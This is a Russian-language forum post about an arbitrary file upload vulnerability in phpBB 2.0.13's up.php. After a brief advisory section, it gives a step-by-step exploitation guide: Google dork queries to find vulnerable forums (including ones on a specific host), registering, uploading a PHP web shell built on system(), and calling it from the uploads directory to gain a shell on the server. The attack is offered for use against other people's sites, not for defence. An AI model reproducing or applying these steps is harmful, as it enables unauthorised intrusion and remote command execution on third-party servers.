Загрузка произвольных файлов в phpBB
Программа: phpBB 2.0.13 и более ранние версии
Опасность: Высокая
Наличие эксплоита: Да
Описание:
Уязвимость позволяет удаленному пользователю загрузить произвольный файл на сервер.
Уязвимость существует в сценарии up.php из-за некорректной проверки расширений файлов. Удаленный авторизованный пользователь может загрузить произвольный php файл и выполнить его с привилегиями web сервера.
URL производителя: phpbb.com
Решение: Способов устранения уязвимости не существует в настоящее время.
Итак, как юзать эту багу...
1. Ищем такие форумы. Для этого можно ввести в google запрос:
inurl:forum_path/up.php
где forum_path - папка с форумом.
Пример: inurl:forum/up.php
2. Регистрируемся на данном форуме. Затем авторизируемся.
3. Заходим по адресу, выданному поисковиком (www.site.ru/forum/up.php)
4. Загружаем php-файл со следующим кодом:
- это для теста, а вообще можно загрузить полноценный веб-шелл.<?
system('$cmd')
?>
5. Теперь загруженный нами шелл будет доступен по адресу:
http://www.site.ru/forum/uploads/shell.php
Готово. Теперь вы имеете шелл на сервере.
Добавлено [time]1115661051[/time]
з.ы. Для поиска на определенном хостинге пишем запрос:
inurl:h15.ru/phpbb2/up.php
Это пример.